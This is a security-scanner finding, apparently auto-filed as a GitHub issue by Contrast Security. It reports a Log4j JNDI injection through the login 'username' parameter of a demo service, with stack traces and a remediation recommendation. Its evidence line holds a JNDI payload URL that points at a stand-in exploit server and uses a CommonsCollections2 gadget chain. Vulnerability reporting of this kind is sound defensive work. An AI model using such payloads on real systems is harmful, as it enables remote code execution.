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CONTRAST: JNDI Injection from "username" Parameter in org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter.doFilter(javax.servlet.ServletRequest,javax.servlet.ServletResponse,javax.servlet.FilterChain) #12

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CONTRAST: JNDI Injection from "username" Parameter in org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter.doFilter(javax.servlet.ServletRequest,javax.servlet.ServletResponse,javax.servlet.FilterChain)#12
@jason-at-contrast

Description

@jason-at-contrast
jason-at-contrast
opened on Feb 17, 2026

Vulnerability ID: UEAC-ZO6L-6K5Y-PCT7

Application Name: CargoCats-contrast-cargo-cats-frontgateservice

Vulnerability Link: https://eval.contrastsecurity.com/Contrast/static/ng/index.html#/545a3bce-97c5-4732-af38-1ac459087b0a/applications/0f3e06e4-d3c5-47a3-a2ce-ce43b8dc3e17/vulns/UEAC-ZO6L-6K5Y-PCT7

What Happened?

We tracked the following data from "username" Parameter:

POST /login

...which was accessed within the following code:

com.contrast.frontgateservice.service.CustomUserDetailsService#loadUserByUsername(), line 24

rule.evidence.jndi.injection

ldap://exploit-server:1389/serial/CommonsCollections2/sleep/1000

What's the risk?

The application takes untrusted data from the user and uses it to perform a Java Naming and Directory Interface (JNDI) lookup. Made infamous by the Log4Shell vulnerability in Log4j2, untrusted data in JNDI injections can easily escalate to remote code exploits (RCE). While the default security configuration of Java 11+ typically prevents {{#emphasize}}most{{/emphasize}} escalations to RCE, attackers can still take advantage of untrusted deserialization gadgets on the application's class path to escalate to RCE through a JNDI lookup.

Recommendation

Untrusted data should never be used in a Java Naming and Directory Interface (JNDI) lookup. If your application requires dynamic JNDI lookups, then restrict those lookups to a known set of safe values using a validator function.

Check out our AI-generated Intelligent Remediation Guidance! https://eval.contrastsecurity.com/Contrast/static/ng/index.html#/545a3bce-97c5-4732-af38-1ac459087b0a/vulns/UEAC-ZO6L-6K5Y-PCT7/overview/recommendation

First Event


Stack:
  javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:149)
  org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter.obtainUsername(UsernamePasswordAuthenticationFilter.java:115)
  org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter.attemptAuthentication(UsernamePasswordAuthenticationFilter.java:77)
  org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:223)
  org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:213)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:103)
  org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:89)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.header.HeaderWriterFilter.doHeadersAfter(HeaderWriterFilter.java:90)
  org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:75)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:110)
  org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:80)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:55)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:221)
  org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:186)
  org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:354)
  org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:267)
  org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
  org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
  org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
  org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
  org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
  org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
  org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
  org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
  org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:167)
  org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)
  org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:481)
  org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)
  org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)
  org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
  org.apache.catalina.valves.RemoteIpValve.invoke(RemoteIpValve.java:768)
  org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
  org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:390)
  org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
  org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:926)
  org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1791)
  org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
  org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
  org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
  org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
  java.base/java.lang.Thread.run()

Last Event

Stack:
  java.naming/javax.naming.InitialContext.lookup()
  org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
  org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
  org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
  org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1110)
  org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1033)
  org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
  org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
  org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
  org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
  org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:344)
  org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
  org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
  org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
  org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
  org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
  org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
  org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
  org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
  org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
  org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
  org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:540)
  org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:498)
  org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:481)
  org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:456)
  org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82)
  org.apache.logging.log4j.core.Logger.log(Logger.java:161)
  org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2205)
  org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2159)
  org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2142)
  org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2034)
  org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1899)
  org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1444)
  com.contrast.frontgateservice.service.CustomUserDetailsService.loadUserByUsername(CustomUserDetailsService.java:24)
  org.springframework.security.authentication.dao.DaoAuthenticationProvider.retrieveUser(DaoAuthenticationProvider.java:94)
  org.springframework.security.authentication.dao.AbstractUserDetailsAuthenticationProvider.authenticate(AbstractUserDetailsAuthenticationProvider.java:133)
  org.springframework.security.authentication.ProviderManager.authenticate(ProviderManager.java:182)
  org.springframework.security.authentication.ProviderManager.authenticate(ProviderManager.java:201)
  org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter.attemptAuthentication(UsernamePasswordAuthenticationFilter.java:85)
  org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:223)
  org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:213)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:103)
  org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:89)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.header.HeaderWriterFilter.doHeadersAfter(HeaderWriterFilter.java:90)
  org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:75)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:110)
  org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:80)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:55)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:346)
  org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:221)
  org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:186)
  org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:354)
  org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:267)
  org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
  org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
  org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
  org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
  org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)
  org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
  org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
  org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
  org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)

HTTP Request

POST http://cargocats.localhost:80/login HTTP/1.1
Accept: /
Accept-Encoding: gzip, deflate
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=93D342466961E9C9EB6B5FED9C6E1BD2
Host: cargocats.localhost
User-Agent: python-requests/2.31.0
X-Forwarded-Host: cargocats.localhost
X-Forwarded-Port: 80
X-Forwarded-Proto: http
X-Forwarded-Scheme: http
X-Real-Ip: 10.1.5.76
X-Request-Id: d13d5ec3a329372bca1ac28e154f8b3e
X-Scheme: http

=contrast-redacted-body

References

https://owasp.org/Top10/A03_2021-Injection/

Session ID: eeb7a07a32284bacbd32ec513b0b4147
artifactHash: b91aebb6

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